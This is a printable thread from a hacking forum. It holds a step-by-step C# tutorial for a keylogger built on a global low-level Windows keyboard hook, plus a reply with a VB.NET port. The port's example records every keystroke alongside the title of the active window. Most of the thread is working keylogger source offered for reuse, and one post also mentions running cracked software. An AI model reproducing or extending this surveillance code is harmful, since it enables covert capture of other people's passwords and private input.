Sinisterly
Tutorial [C#]Simple keylogger with Keyboardhook - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework)
+--- Thread: Tutorial [C#]Simple keylogger with Keyboardhook (/Thread-Tutorial-C-Simple-keylogger-with-Keyboardhook)



[C#]Simple keylogger with Keyboardhook - Prestige - 11-25-2012

Hello Anarchyforums,

as promised here is my tut for a simple C# keylogger:

Step 1: first start a new C# project in visual studio

Step 2: Add a simple textbox and 2 buttons name the texbox Log and the buttons Hook and Unhook, set the textbox readonly to true as you don't want to write in it and put unhook enabled to false

Spoiler: Preview: (warning big)
[Image: 1tUyu]
Step 3: Create a new class named Keyboard (right click solution (SimpleKeyloggerTut in my case) and go to add -> claas -> Keyboard)

Step 4: add the following line of code to the top of your class (above the namespace):

Code:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

Step 5: Now you created the class for the Keyboard hook add the following lines of code:

Code:
        private delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

  [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  private static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

  [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  [return: MarshalAs(UnmanagedType.Bool)]
  private static extern bool UnhookWindowsHookEx(IntPtr hhk);

  [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  private static extern IntPtr GetModuleHandle(string lpModuleName);

These lines call an external windows dll included in the .net framework needed to hook the keyboard

Step 6: Add the following variables to your class:

Code:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static KeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

Step 7: Now let's set the hook I'll describe this code line by line
First create the Method (void):
Code:
public static void Hook()
{
}
second get the current process by doing this:
Code:
using (Process curProcess = Process.GetCurrentProcess())
Now we'll get the current processmodule (our program):
Code:
using (ProcessModule curModule = curProcess.MainModule)
{
}
Now hook the keyboard to this process (do this within the brackets of the using curmodule):
Code:
_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0);

Step 8: Create a unhook method to stop the hook, this simply calls the method from the windows dll:

Code:
public static void UnHook()
{
    UnhookWindowsHookEx(_hookID);
}

Step 9: under the keyboard class add the following class, this is simply an event handler to report keypresses to the main forum

Code:
public class KeyEventArgs : EventArgs
{
    int keyCode;
    public KeyEventArgs(int mKeyCode)
    {
        keyCode = mKeyCode;
    }

    public int KeyCode
    {
        get
        {
            return keyCode;
        }
    }
}

Step 10: Now in the main class add the following line of code to handle keypresses:

Code:
public delegate void KeyDownHandler(object myObject, KeyEventArgs myArgs);
public static event KeyDownHandler OnKeyDown;

Step 11: Now create the hookcallback to get the keycode on keydown and call an keydown event:
Code:
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
    {
        int KeyCode = Marshal.ReadInt32(lParam);
        KeyEventArgs KeyArgs = new KeyEventArgs(KeyCode);
        OnKeyDown(null, KeyArgs);
    }
    return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

Step 12: Now you're done with making the class now hook your keyboard on key press:

First let's make a void wich handles the key down:
Code:
private void OnKeyDown(object sender, KeyEventArgs e)
{
}

In our case we would want it to write it to the text file so we add the following:
Code:
Log.AppendText((Keys)e.KeyCode + "");

Log is my textbox and appendtext will add text to it, keycode is the code of the key wich is pressed and we would get the key by using (char) the + "" is only because chars don't accept .ToString() as a string is basicly a char array.

Step 13: Hook and unhook your logger:
Double click your hook button to create a void name BUTTONNAME_Click (it handles the click of the button).
first add the event for keydown:
Code:
Keyboard.OnKeyDown += OnKeyDown;

now add the following code to hook the keyboard:
Code:
Keyboard.Hook();

Disable the hook button and enable the unhook button to prevent it from hooking multiple times:
Code:
Unhook.Enabled = true;
Hook.Enabled = false;

And now as last the unhook button create a void for the unhook button like you did before (double click it) and add this inside to clear the events (so it won't report double next time you hook it):
Code:
Keyboard.OnKeyDown -= OnKeyDown;
now unhook the keyboard and you are done!:
Code:
Keyboard.UnHook();

and finally enable the hook button again and disable the unhook button:
Code:
Unhook.Enabled = false;
Hook.Enabled = true;
I hope you enjoyed this tutorial for more info add me on skype: T09.nl or on msn: arh-t09@live.com.

[Image: 1tVGi]

PS: I know I suck at explaining but I hope it was clear for you guys


RE: [C#]Simple keylogger with Keyboardhook - Daaksin - 11-26-2012

Are you going to credit where this code came from or..?


RE: [C#]Simple keylogger with Keyboardhook - Prestige - 11-26-2012

(11-26-2012, 05:44 AM)Daaksin Wrote: Are you going to credit where this code came from or..?

Sure: credits to prestige for the code and for microsoft for the dll files for keyboardhook


RE: [C#]Simple keylogger with Keyboardhook - Prestige - 12-04-2012

(12-04-2012, 08:13 AM)Scophie Wrote: Hey, you have done a good jod, so you made it yourself? How can I know the keylogger is safe?

1. It's a tutorial
2. This needs lot's of editing if you want to use it to hack someone it's an example of keyhook like spam text if someone presses f1


RE: [C#]Simple keylogger with Keyboardhook - Ultimatum - 12-04-2012

Heh, Windows 8, nice. How did you get the start bar there?


RE: [C#]Simple keylogger with Keyboardhook - Prestige - 12-04-2012

(12-04-2012, 08:55 AM)Ultimatum Wrote: Heh, Windows 8, nice. How did you get the start bar there?

Start 8 cracked xD


RE: [C#]Simple keylogger with Keyboardhook - YP. - 12-07-2012

Thank you for the share! Good job!
Hopefully I can learn something from this Smile


RE: [C#]Simple keylogger with Keyboardhook - SQLi - 07-23-2013

Good job, here's a Visual Basic .NET port:

Keyboard.vb
Code:
    Public Class Keyboard
        Private Const WH_KEYBOARD_LL As Integer = 13
        Private Const WM_KEYDOWN As Integer = &H100
        Private Shared _proc As KeyboardProc = HookCallback
        Private Shared _hookID As IntPtr = IntPtr.Zero
        Private Delegate Function KeyboardProc(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr

        <DllImport("user32.dll", CharSet := CharSet.Auto, SetLastError := True)> _
        Private Shared Function SetWindowsHookEx(idHook As Integer, lpfn As KeyboardProc, hMod As IntPtr, dwThreadId As UInteger) As IntPtr
        End Function

        <DllImport("user32.dll", CharSet := CharSet.Auto, SetLastError := True)> _
        Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
        End Function

        <DllImport("user32.dll", CharSet := CharSet.Auto, SetLastError := True)> _
        Private Shared Function CallNextHookEx(hhk As IntPtr, nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
        End Function

        <DllImport("kernel32.dll", CharSet := CharSet.Auto, SetLastError := True)> _
        Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
        End Function

        Public Delegate Sub KeyDownHandler(myObject As Object, myArgs As KeyEventArgs)
        Public Shared Event OnKeyDown As KeyDownHandler

        Public Shared Sub Hook()
            Using curProcess As Process = Process.GetCurrentProcess()
                Using curModule As ProcessModule = curProcess.MainModule
                    _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0)
                End Using
            End Using
        End Sub

        Public Shared Sub UnHook()
            UnhookWindowsHookEx(_hookID)
        End Sub

        Private Shared Function HookCallback(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
            If nCode >= 0 AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
                Dim KeyCode As Integer = Marshal.ReadInt32(lParam)
                Dim KeyArgs As New KeyEventArgs(KeyCode)
                RaiseEvent OnKeyDown(Nothing, KeyArgs)
            End If
            Return CallNextHookEx(_hookID, nCode, wParam, lParam)
        End Function
    End Class

    Public Class KeyEventArgs
        Inherits EventArgs
        Private m_keyCode As Integer
        Public Sub New(mKeyCode As Integer)
            m_keyCode = mKeyCode
        End Sub

        Public ReadOnly Property KeyCode() As Integer
            Get
                Return m_keyCode
            End Get
        End Property
    End Class

Example usage
Code:
    Public Class Program
        <DllImport("user32.dll")> _
        Private Shared Function GetForegroundWindow() As IntPtr
        End Function

        <DllImport("user32.dll")> _
        Private Shared Function GetWindowText(hWnd As IntPtr, text As StringBuilder, count As Integer) As Integer
        End Function

        Private Shared Function GetActiveWindowTitle() As String
            Const  nChars As Integer = 256
            Dim handle As IntPtr = IntPtr.Zero
            Dim Buff As New StringBuilder(nChars)
            handle = GetForegroundWindow()

            If GetWindowText(handle, Buff, nChars) > 0 Then
                Return Buff.ToString()
            End If
            Return Nothing
        End Function

        Private Shared active As String = Nothing
        Public Shared Sub Main()
            AddHandler Keyboard.OnKeyDown, AddressOf OnKeyDown
            Keyboard.Hook()
            While (True)
                

            End While
            Keyboard.UnHook()
        End Sub

        Private Shared Sub OnKeyDown(sender As Object, e As KeyEventArgs)
            If active <> GetActiveWindowTitle() AndAlso Not String.IsNullOrEmpty(active) Then
                active = GetActiveWindowTitle()
                Console.WriteLine()
                Console.WriteLine()
                Console.WriteLine(active)
                Console.Write(ChrW(e.KeyCode))
            ElseIf String.IsNullOrEmpty(active) Then
                active = GetActiveWindowTitle()
                Console.WriteLine(active)
                Console.Write(ChrW(e.KeyCode))
            Else
                Console.Write(ChrW(e.KeyCode))
            End If
        End Sub
    End Class